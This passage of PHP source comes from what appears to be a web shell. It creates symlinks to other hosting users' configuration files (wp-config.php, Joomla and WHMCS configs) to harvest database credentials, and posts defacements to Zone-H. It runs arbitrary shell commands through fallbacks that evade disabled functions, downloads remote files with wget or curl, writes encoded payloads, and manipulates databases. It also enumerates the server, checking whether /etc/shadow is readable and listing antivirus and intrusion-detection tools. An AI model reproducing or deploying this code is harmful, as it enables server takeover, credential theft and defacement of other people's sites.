  517.         symlink('/home5/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  518.         symlink('/home5/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  519.         symlink('/home5/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  520.         symlink('/home5/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  521.         symlink('/home5/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  522.         symlink('/home5/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  523.         symlink('/home5/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  524.         symlink('/home5/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  525.         symlink('/home5/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  526.         symlink('/home5/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  527.         symlink('/home5/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  528.         symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  529.         symlink('/home5/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  530.         symlink('/home5/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  531.         symlink('/home5/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  532.         symlink('/home5/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  533.         symlink('/home5/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  534.         symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  535.         symlink('/home6/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  536.         symlink('/home6/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  537.         symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  538.         symlink('/home6/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  539.         symlink('/home6/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  540.         symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  541.         symlink('/home6/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  542.         symlink('/home6/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  543.         symlink('/home6/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  544.         symlink('/home6/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  545.         symlink('/home6/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  546.         symlink('/home6/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  547.         symlink('/home6/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  548.         symlink('/home6/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  549.         symlink('/home6/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  550.         symlink('/home6/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  551.         symlink('/home6/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  552.         symlink('/home6/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  553.         symlink('/home6/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  554.         symlink('/home6/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  555.         symlink('/home6/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  556.         symlink('/home6/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  557.         symlink('/home6/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  558.         symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  559.         symlink('/home6/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  560.         symlink('/home6/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  561.         symlink('/home6/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  562.         symlink('/home6/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  563.         symlink('/home6/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  564.         symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  565.         symlink('/home7/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  566.         symlink('/home7/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  567.         symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  568.         symlink('/home7/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  569.         symlink('/home7/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  570.         symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  571.         symlink('/home7/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  572.         symlink('/home7/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  573.         symlink('/home7/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  574.         symlink('/home7/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  575.         symlink('/home7/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  576.         symlink('/home7/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  577.         symlink('/home7/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  578.         symlink('/home7/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  579.         symlink('/home7/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  580.         symlink('/home7/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  581.         symlink('/home7/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  582.         symlink('/home7/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  583.         symlink('/home7/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  584.         symlink('/home7/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  585.         symlink('/home7/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  586.         symlink('/home7/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  587.         symlink('/home7/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  588.         symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  589.         symlink('/home7/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  590.         symlink('/home7/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  591.         symlink('/home7/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  592.         symlink('/home7/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  593.         symlink('/home7/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  594.         symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  595.     }
  596.    
  597.     function randomt()
  598.     {
  599.         $chars = "abcdefghijkmnopqrstuvwxyz023456789";
  600.         srand((double)microtime()*1000000);
  601.         $i = 0;
  602.         $pass = '' ;
  603.            
  604.         while ($i <= 7)
  605.         {
  606.             $num = rand() % 33;
  607.             $tmp = substr($chars, $num, 1);
  608.             $pass = $pass . $tmp;
  609.             $i++;
  610.         }
  611.            
  612.         return $pass;
  613.     }
  614.     function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1)
  615.     {
  616.         $ar0=explode($marqueurDebutLien, $text);
  617.         $ar1=explode($marqueurFinLien, $ar0[$i]);
  618.         $ar=trim($ar1[0]);
  619.         return $ar;
  620.     }
  621.        
  622.     // Zone-h Poster
  623.     function ZoneH($url, $hacker, $hackmode,$reson, $site )
  624.     {
  625.         $k = curl_init();
  626.         curl_setopt($k, CURLOPT_URL, $url);
  627.         curl_setopt($k,CURLOPT_POST,true);
  628.         curl_setopt($k, CURLOPT_POSTFIELDS,"defacer=".$hacker."&domain1=". $site."&hackmode=".$hackmode."&reason=".$reson);
  629.         curl_setopt($k,CURLOPT_FOLLOWLOCATION, true);
  630.         curl_setopt($k, CURLOPT_RETURNTRANSFER, true);
  631.         $kubra = curl_exec($k);
  632.         curl_close($k);
  633.         return $kubra;
  634.     }
  635.    
  636.     // Database functions
  637.     function listdatabase()
  638.     {  
  639.         $self=$_SERVER["PHP_SELF"];
  640.         ?>
  641.         <br>
  642.         <form>
  643.         <input type="hidden" name="action" value="createDB">
  644.             <table>
  645.             <tr>
  646.                 <td><input type="text" class="box" name="dbname"></td><td><input type="submit" value="  Create Database  " name="createmydb" class="but"></td>
  647.             </tr>
  648.             </table>
  649.         </form>
  650.             <br>
  651.         <?php
  652.         $mysqlHandle = mysql_connect ($_COOKIE['dbserver'], $_COOKIE['dbuser'], $_COOKIE['dbpass']);
  653.         $result = mysql_query("SHOW DATABASE");
  654.         echo "<table cellspacing=1 cellpadding=5 border=1 class=pwdtbl style=width:60%;>\n";
  655.  
  656.         $pDB = mysql_list_dbs( $mysqlHandle );
  657.         $num = mysql_num_rows( $pDB );
  658.         for( $i = 0; $i < $num; $i++ )
  659.         {
  660.             $dbname = mysql_dbname( $pDB, $i );
  661.             mysql_select_db($dbname,$mysqlHandle);
  662.             $result = mysql_query("SHOW TABLES");
  663.             $num_of_tables = mysql_num_rows($result);
  664.             echo "<tr>\n";
  665.             echo "<td><a href='$self?action=listTables&dbname=$dbname'><font size=3>$dbname</font></a> ($num_of_tables)</td>\n";
  666.             echo "<td><a href='$self?action=listTables&dbname=$dbname'>Tables</a></td>\n";
  667.             echo "<td><a href='$self?action=dropDB&dbname=$dbname&executequery' onClick=\"return confirm('Drop Database \'$dbname\'?')\">Drop</a></td>\n";
  668.             echo "<td><a href='$self?action=dumpDB&dbname=$dbname' onClick=\"return confirm('Dump Database \'$dbname\'?')\">Dump</a></td>\n";
  669.             echo "</tr>\n";
  670.         }
  671.         echo "</table>\n";
  672.         mysql_close($mysqlHandle);
  673.     }
  674.    
  675.     function listtable()
  676.     {
  677.         $self=$_SERVER["PHP_SELF"];
  678.         $dbserver = $_COOKIE["dbserver"];
  679.         $dbuser = $_COOKIE["dbuser"];
  680.         $dbpass = $_COOKIE["dbpass"];
  681.         $dbname = $_GET['dbname'];
  682.         echo "<div><font size=3>[ $dbname ]</font> - <font size=3>&gt;</font> <a href=$self?viewdb&dbname=$dbname> <font size=3>Database List</font> </a> &nbsp; <a href=$self?logoutdb> <fontclass=txt size=3>[ Log Out ]</font> </a></div>";
  683.          ?>
  684.         <br><br>
  685.         <form>
  686.         <input type="hidden" name="action" value="createtable">
  687.         <input type="hidden" name="dbname" value="<?php echo $_GET['dbname'];?>">
  688.             <table>
  689.             <tr>
  690.                 <td><input type="text" class="box" name="tablename"></td><td><input type="submit" value="  Create Table  " name="createmydb" class="but"></td>
  691.             </tr>
  692.             </table>
  693.        
  694.             <br>
  695.             <form>
  696.             <input type="hidden" value="<?php echo $_GET['dbname']; ?>" name="dbname">
  697.             <input type="hidden" value="<?php echo $_GET['tablename']; ?>" name="tablename">
  698.             <input type="hidden" value="executequery" name="action">
  699.             <table>
  700.                 <tr>
  701.                     <td><textarea cols="60" rows="7" name="executemyquery" class="box">Execute Query..</textarea></td>
  702.                 </tr>
  703.                 <tr>
  704.                     <td><input type="submit" value="Execute" class="but"></td>
  705.                 </tr>
  706.             </table>
  707.             </form>
  708.            
  709.         <?php
  710.        
  711.         $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
  712.        
  713.         mysql_select_db($dbname);
  714.         $pTable = mysql_list_tables( $dbname );
  715.    
  716.         if( $pTable == 0 ) {
  717.             $msg  = mysql_error();
  718.             echo "<h3>Error : $msg</h3><p>\n";
  719.             return;
  720.         }
  721.         $num = mysql_num_rows( $pTable );
  722.    
  723.         echo "<table cellspacing=1 cellpadding=5 class=pwdtbl border=1 style=width:60%;>\n";
  724.    
  725.         for( $i = 0; $i < $num; $i++ )
  726.         {
  727.             $tablename = mysql_tablename( $pTable, $i );
  728.             $result = mysql_query("select * from $tablename");
  729.             $num_rows = mysql_num_rows($result);
  730.             echo "<tr>\n";
  731.             echo "<td>\n";
  732.             echo "<a href='$self?action=viewdata&dbname=$dbname&tablename=$tablename'><font size=3>$tablename</font></a> ($num_rows)\n";
  733.             echo "</td>\n";
  734.             echo "<td>\n";
  735.             echo "<a href='$self?action=viewSchema&dbname=$dbname&tablename=$tablename'>Schema</a>\n";
  736.             echo "</td>\n";
  737.             echo "<td>\n";
  738.             echo "<a href='$self?action=viewdata&dbname=$dbname&tablename=$tablename'>Data</a>\n";
  739.             echo "</td>\n";
  740.             echo "<td>\n";
  741.             echo "<a href='$self?action=empty&dbname=$dbname&tablename=$tablename'>Empty</a>\n";
  742.             echo "</td>\n";
  743.             echo "<td>\n";
  744.             echo "<a href='$self?action=dropTable&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Drop Table \'$tablename\'?')\">Drop</a>\n";
  745.             echo "</td>\n";
  746.             echo "</tr>\n";
  747.         }
  748.    
  749.         echo "</table></form>";
  750.         mysql_close($mysqlHandle);
  751.         echo "<div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>&gt;</font> <a href=$self?viewdb&dbname=$dbname> <font size=3>Database List</font> </a> &nbsp; <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
  752.     }
  753.        
  754.    
  755.     function paramexe($n, $v)
  756.     {
  757.         $v = trim($v);
  758.         if($v)
  759.         {
  760.             echo '<span><font size=3>' . $n . ': </font></span>';
  761.             if(strpos($v, "\n") === false)
  762.                 echo '<font class=txt size=2>' . $v . '</font><br>';
  763.             else
  764.                 echo '<pre class=ml1><font class=txt size=3>' . $v . '</font></pre>';
  765.         }
  766.     }
  767.    
  768.     $dir = getcwd();
  769.    
  770.     if(isset($_GET['dir']))
  771.     {
  772.         $dir = $_GET['dir'];
  773.     }
  774.    
  775.    
  776.     function dis()
  777.     {
  778.         if(!ini_get('disable_functions'))
  779.         {
  780.             echo "None";
  781.         }
  782.         else
  783.         {
  784.             echo @ini_get('disable_functions');
  785.         }
  786.     }
  787.    
  788.     function mycmdexec($cmd)
  789.     {
  790.          global $disablefunc;
  791.          $result = "";
  792.          if (!empty($cmd))
  793.          {
  794.               if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
  795.               elseif (($result = "$cmd") !== FALSE) {}
  796.               elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  797.               elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  798.               elseif (is_resource($fp = popen($cmd,"r")))
  799.               {
  800.                $result = "";
  801.                while(!feof($fp)) {$result .= fread($fp,1024);}
  802.                pclose($fp);
  803.               }
  804.          }
  805.          return $result;
  806.     }
  807.    
  808.     function rrmdir($dir)
  809.     {
  810.         if (is_dir($dir)) // ensures that we actually have a directory
  811.         {
  812.             $objects = scandir($dir); // gets all files and folders inside
  813.             foreach ($objects as $object)
  814.             {
  815.                 if ($object != '.' && $object != '..')
  816.                 {
  817.                     if (is_dir($dir . '/' . $object))
  818.                     {
  819.                         // if we find a directory, do a recursive call
  820.                         rrmdir($dir . '/' . $object);
  821.                     }
  822.                     else
  823.                     {
  824.                         // if we find a file, simply delete it
  825.                         unlink($dir . '/' . $object);
  826.                     }
  827.                 }
  828.             }
  829.             // the original directory is now empty, so delete it
  830.             rmdir($dir);
  831.         }
  832.     }
  833.    
  834.     function godir($dir)
  835.     {
  836.         //echo $dir;
  837.        
  838.         $zip = new ZipArchive();
  839.         $filename= basename($dir) . '.zip';
  840.         // open archive
  841.         if ($zip->open($filename, ZIPARCHIVE::CREATE) !== TRUE)
  842.         {
  843.             die ("Could not open archive");
  844.         }
  845.         else
  846.             echo "fdg";
  847.         if (is_dir($dir)) // ensures that we actually have a directory
  848.         {
  849.             $objects = scandir($dir); // gets all files and folders inside
  850.             foreach ($objects as $object)
  851.             {
  852.                 if ($object != '.' && $object != '..')
  853.                 {
  854.                     if (is_dir($dir . '\\' . $object))
  855.                     {//echo $dir . '/' . $object;
  856.                         // if we find a directory, do a recursive call
  857.                         godir($dir . '\\' . $object);
  858.                     }
  859.                     else
  860.                     {
  861.                         // if we find a file, simply add it
  862.                         $zip->addFile($dir . '\\' . $object) or die ("ERROR: Could not add file: $key");
  863.                     }
  864.                 }
  865.             }
  866.             // the original directory is now empty, so delete it
  867.             $zip->addFile($dir) or die ("ERROR: Could not add file: $key");
  868.         }      
  869.     }
  870.    
  871.    
  872.                
  873.     function which($pr)
  874.     {
  875.         $path = execmd("which $pr");
  876.         if(!empty($path))
  877.             return trim($path);
  878.         else
  879.             return trim($pr);
  880.     }
  881.    
  882.     function cf($f,$t)
  883.     {
  884.         $w=@fopen($f,"w") or @function_exists('file_put_contents');
  885.         if($w)
  886.         {
  887.              @fwrite($w,gzinflate(base64_decode($t))) or @fputs($w,gzinflate(base64_decode($t))) or @file_put_contents($f,gzinflate(base64_decode($t)));
  888.              @fclose($w);
  889.         }
  890.     }  
  891.            
  892.     function remotedownload($cmd,$url)
  893.     {
  894.         $namafile = basename($url);
  895.         switch($cmd)
  896.         {
  897.             case 'wwget':
  898.                 execmd(which('wget')." ".$url." -O ".$namafile);
  899.                 break;
  900.             case 'wlynx':
  901.                 execmd(which('lynx')." -source ".$url." > ".$namafile);
  902.                 break;
  903.             case 'wfread' :
  904.                 execmd($wurl,$namafile);
  905.                 break;
  906.             case 'wfetch' :
  907.                 execmd(which('fetch')." -o ".$namafile." -p ".$url);
  908.                 break;
  909.             case 'wlinks' :
  910.                 execmd(which('links')." -source ".$url." > ".$namafile);
  911.                 break;
  912.             case 'wget' :
  913.                 execmd(which('GET')." ".$url." > ".$namafile);
  914.                 break;
  915.             case 'wcurl' :
  916.                 execmd(which('curl')." ".$url." -o ".$namafile);
  917.                 break;
  918.             default:
  919.             break;
  920.         }
  921.         return $namafile;
  922.     }
  923.    
  924.     function magicboom($text)
  925.     {
  926.         if (!get_magic_quotes_gpc())
  927.             return $text;
  928.         return stripslashes($text);
  929.     }
  930.  
  931. ##################################
  932. function execmd($cmd,$d_functions="None")
  933. {
  934.     if($d_functions=="None")
  935.     {
  936.         $ret=passthru($cmd);
  937.         return $ret;
  938.     }
  939.     $funcs=array("shell_exec","exec","passthru","system","popen","proc_open");
  940.     $d_functions=str_replace(" ","",$d_functions);
  941.     $dis_funcs=explode(",",$d_functions);
  942.     foreach($funcs as $safe)
  943.     {
  944.         if(!in_array($safe,$dis_funcs))
  945.         {
  946.             if($safe=="exec")
  947.             {
  948.                 $ret=@exec($cmd);
  949.                 $ret=join("\n",$ret);
  950.                 return $ret;
  951.             }
  952.             elseif($safe=="system")
  953.             {
  954.                 $ret=@system($cmd);
  955.                 return $ret;
  956.             }
  957.             elseif($safe=="passthru")
  958.             {
  959.                 $ret=@passthru($cmd);
  960.                 return $ret;
  961.             }
  962.             elseif($safe=="shell_exec")
  963.             {
  964.                 $ret=@shell_exec($cmd);
  965.                 return $ret;
  966.             }
  967.             elseif($safe=="popen")
  968.             {
  969.                 $ret=@popen("$cmd",'r');
  970.                 if(is_resource($ret))
  971.                 {
  972.                     while(@!feof($ret))
  973.                     $read.=@fgets($ret);
  974.                     @pclose($ret);
  975.                     return $read;
  976.                 }
  977.                 return -1;
  978.             }
  979.  
  980.             elseif($safe="proc_open")
  981.             {
  982.                 $cmdpipe=array(
  983.                 0=>array('pipe','r'),
  984.                 1=>array('pipe','w')
  985.                 );
  986.                 $resource=@proc_open($cmd,$cmdpipe,$pipes);
  987.                 if(@is_resource($resource))
  988.                 {
  989.                     while(@!feof($pipes[1]))
  990.                     $ret.=@fgets($pipes[1]);
  991.                     @fclose($pipes[1]);
  992.                     @proc_close($resource);
  993.                     return $ret;
  994.                 }
  995.                 return -1;
  996.             }
  997.         }
  998.     }
  999.     return -1;
  1000. }
  1001.  
  1002.     function getDisabledFunctions()
  1003.     {
  1004.         if(!ini_get('disable_functions'))
  1005.         {
  1006.             return "None";
  1007.         }
  1008.         else
  1009.         {
  1010.                 return @ini_get('disable_functions');
  1011.         }
  1012.     }
  1013.    
  1014.     function getFilePermissions($file)
  1015. {
  1016.    
  1017. $perms = fileperms($file);
  1018.  
  1019. if (($perms & 0xC000) == 0xC000) {
  1020.     // Socket
  1021.     $info = 's';
  1022. } elseif (($perms & 0xA000) == 0xA000) {
  1023.     // Symbolic Link
  1024.     $info = 'l';
  1025. } elseif (($perms & 0x8000) == 0x8000) {
  1026.     // Regular
  1027.     $info = '-';
  1028. } elseif (($perms & 0x6000) == 0x6000) {
  1029.     // Block special
  1030.     $info = 'b';
  1031. } elseif (($perms & 0x4000) == 0x4000) {
  1032.     // Directory
  1033.     $info = 'd';
  1034. } elseif (($perms & 0x2000) == 0x2000) {
  1035.     // Character special
  1036.     $info = 'c';
  1037. } elseif (($perms & 0x1000) == 0x1000) {
  1038.     // FIFO pipe
  1039.     $info = 'p';
  1040. } else {
  1041.     // Unknown
  1042.     $info = 'u';
  1043. }
  1044.  
  1045. // Owner
  1046. $info .= (($perms & 0x0100) ? 'r' : '-');
  1047. $info .= (($perms & 0x0080) ? 'w' : '-');
  1048. $info .= (($perms & 0x0040) ?
  1049.             (($perms & 0x0800) ? 's' : 'x' ) :
  1050.             (($perms & 0x0800) ? 'S' : '-'));
  1051.  
  1052. // Group
  1053. $info .= (($perms & 0x0020) ? 'r' : '-');
  1054. $info .= (($perms & 0x0010) ? 'w' : '-');
  1055. $info .= (($perms & 0x0008) ?
  1056.             (($perms & 0x0400) ? 's' : 'x' ) :
  1057.             (($perms & 0x0400) ? 'S' : '-'));
  1058.  
  1059. // World
  1060. $info .= (($perms & 0x0004) ? 'r' : '-');
  1061. $info .= (($perms & 0x0002) ? 'w' : '-');
  1062. $info .= (($perms & 0x0001) ?
  1063.             (($perms & 0x0200) ? 't' : 'x' ) :
  1064.             (($perms & 0x0200) ? 'T' : '-'));
  1065.  
  1066. return $info;
  1067.  
  1068. }
  1069.    
  1070.  
  1071.     function yourip()
  1072.     {
  1073.         echo $_SERVER["REMOTE_ADDR"];
  1074.     }
  1075.     function phpver()
  1076.     {
  1077.         $pv=@phpversion();
  1078.         echo $pv;
  1079.     }
  1080.     function serverip()
  1081.     {
  1082.         echo getenv('SERVER_ADDR');
  1083.     }
  1084.     function serverport()
  1085.     {
  1086.         echo $_SERVER['SERVER_PORT'];
  1087.     }
  1088.     function  safe()
  1089.     {
  1090.         global $sm;
  1091.         return $sm?"ON :( :'( (Most of the Features will Not Work!)":"OFF";
  1092.     }
  1093.     function serveradmin()
  1094.     {
  1095.         echo $_SERVER['SERVER_ADMIN'];
  1096.     }
  1097.     function systeminfo()
  1098.     {
  1099.         echo php_uname();
  1100.     }
  1101.     function curlinfo()
  1102.     {
  1103.         echo function_exists('curl_version')?("<font class=txt>Enabled</font>"):("Disabled");
  1104.     }
  1105.     function oracleinfo()
  1106.     {
  1107.         echo function_exists('ocilogon')?("<font class=txt>Enabled</font>"):("Disabled");
  1108.     }
  1109.     function mysqlinfo()
  1110.     {
  1111.         echo function_exists('mysql_connect')?("<font class=txt>Enabled</font>"):("Disabled");
  1112.     }
  1113.     function mssqlinfo()
  1114.     {
  1115.         echo function_exists('mssql_connect')?("<font class=txt>Enabled</font>"):("Disabled");
  1116.     }
  1117.     function postgresqlinfo()
  1118.     {
  1119.         echo function_exists('pg_connect')?("<font class=txt>Enabled</font>"):("Disabled");
  1120.     }
  1121.     function softwareinfo()
  1122.     {
  1123.         echo getenv("SERVER_SOFTWARE");
  1124.     }
  1125.     function download()
  1126.     {
  1127.         $frd=$_GET['download'];
  1128.         $prd=explode("/",$frd);
  1129.         for($i=0;$i<sizeof($prd);$i++)
  1130.         {
  1131.             $nfd=$prd[$i];
  1132.         }
  1133.         @ob_clean();
  1134.        header("Content-type: application/octet-stream");
  1135.        header("Content-length: ".filesize($nfd));
  1136.        header("Content-disposition: attachment; filename=\"".$nfd."\";");
  1137.        readfile($nfd);
  1138.  
  1139.        exit;
  1140.    
  1141.     }
  1142.        
  1143.     function HumanReadableFilesize($size)
  1144.     {
  1145.  
  1146.         $mod = 1024;
  1147.  
  1148.         $units = explode(' ','B KB MB GB TB PB');
  1149.         for ($i = 0; $size > $mod; $i++)
  1150.         {
  1151.             $size /= $mod;
  1152.         }
  1153.  
  1154.         return round($size, 2) . ' ' . $units[$i];
  1155.     }
  1156.    
  1157.     function showDrives()
  1158.     {
  1159.         global $self;
  1160.         foreach(range('A','Z') as $drive)
  1161.         {
  1162.             if(is_dir($drive.':\\'))
  1163.             {
  1164.                 ?>
  1165.                 <a class="dir" href='<?php echo $self ?>?dir=<?php echo $drive.":\\"; ?>'>
  1166.                     <font class="txt"><?php echo $drive.":\\" ?></font>
  1167.                 </a>
  1168.                 <?php
  1169.             }
  1170.         }
  1171.     }
  1172.     function diskSpace()
  1173.     {
  1174.         echo HumanReadableFilesize(disk_total_space("/"));
  1175.     }  
  1176.     function freeSpace()
  1177.     {
  1178.        echo HumanReadableFilesize(disk_free_space("/"));
  1179.     }
  1180.    
  1181.     function thiscmd($p)
  1182.     {
  1183.         $path = myexe('which ' . $p);
  1184.         if(!empty($path))
  1185.             return $path;
  1186.         return false;
  1187.     }
  1188.  
  1189.     function split_dir()
  1190.     {
  1191.         $de=explode("/",getcwd());
  1192.         $del=$de[0];
  1193.         for($count=0;$count<sizeof($de);$count++)
  1194.         {
  1195.         $imp=$imp.$de[$count].'/';
  1196.            
  1197.         echo "<a href=".$self."?open=".$imp.">".$de[$count]."</a> / ";
  1198.         }
  1199.        
  1200.     }
  1201.    
  1202.     function mysecinfo()
  1203.     {
  1204.        
  1205.         function myparam($n, $v)
  1206.         {
  1207.             $v = trim($v);
  1208.             if($v)
  1209.             {
  1210.                 echo '<span>' . $n . ': </span>';
  1211.                 if(strpos($v, "\n") === false)
  1212.                     echo '<font class=txt>' . $v . '</font><br>';
  1213.                 else
  1214.                     echo '<pre class=ml1><font class=txt>' . $v . '</font></pre>';
  1215.             }
  1216.         }
  1217.    
  1218.         myparam('Server software', @getenv('SERVER_SOFTWARE'));
  1219.         if(function_exists('apache_get_modules'))
  1220.             myparam('Loaded Apache modules', implode(', ', apache_get_modules()));
  1221.         myparam('Open base dir', @ini_get('open_basedir'));
  1222.         myparam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
  1223.         myparam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
  1224.         $temp=array();
  1225.         if(function_exists('mysql_get_client_info'))
  1226.             $temp[] = "MySql (".mysql_get_client_info().")";
  1227.         if(function_exists('mssql_connect'))
  1228.             $temp[] = "MSSQL";
  1229.         if(function_exists('pg_connect'))
  1230.             $temp[] = "PostgreSQL";
  1231.         if(function_exists('oci_connect'))
  1232.             $temp[] = "Oracle";
  1233.         myparam('Supported databases', implode(', ', $temp));
  1234.         echo '<br>';
  1235.    
  1236.         if($GLOBALS['os'] == 'Linux') {
  1237.                 myparam('Distro : ', myexe("cat /etc/*-release"));
  1238.                 myparam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='$self?passwd'>[view]</a>":'no');
  1239.                 myparam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
  1240.                 myparam('OS version', @file_get_contents('/proc/version'));
  1241.                 myparam('Distr name', @file_get_contents('/etc/issue.net'));
  1242.                 myparam('Where is Perl?', myexe('whereis perl'));
  1243.                 myparam('Where is Python?', myexe('whereis python'));
  1244.                 myparam('Where is gcc?', myexe('whereis gcc'));
  1245.                 myparam('Where is apache?', myexe('whereis apache'));
  1246.                 myparam('CPU?', myexe('cat /proc/cpuinfo'));
  1247.                 myparam('RAM', myexe('free -m'));
  1248.                 myparam('Mount options', myexe('cat /etc/fstab'));
  1249.                 myparam('User Limits', myexe('ulimit -a'));
  1250.                
  1251.                
  1252.                 if(!$GLOBALS['safe_mode']) {
  1253.                     $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  1254.                     $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
  1255.                     $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  1256.                     echo '<br>';
  1257.                     $temp=array();
  1258.                     foreach ($userful as $item)
  1259.                         if(thiscmd($item))
  1260.                             $temp[] = $item;
  1261.                     myparam('Userful', implode(', ',$temp));
  1262.                     $temp=array();
  1263.                     foreach ($danger as $item)
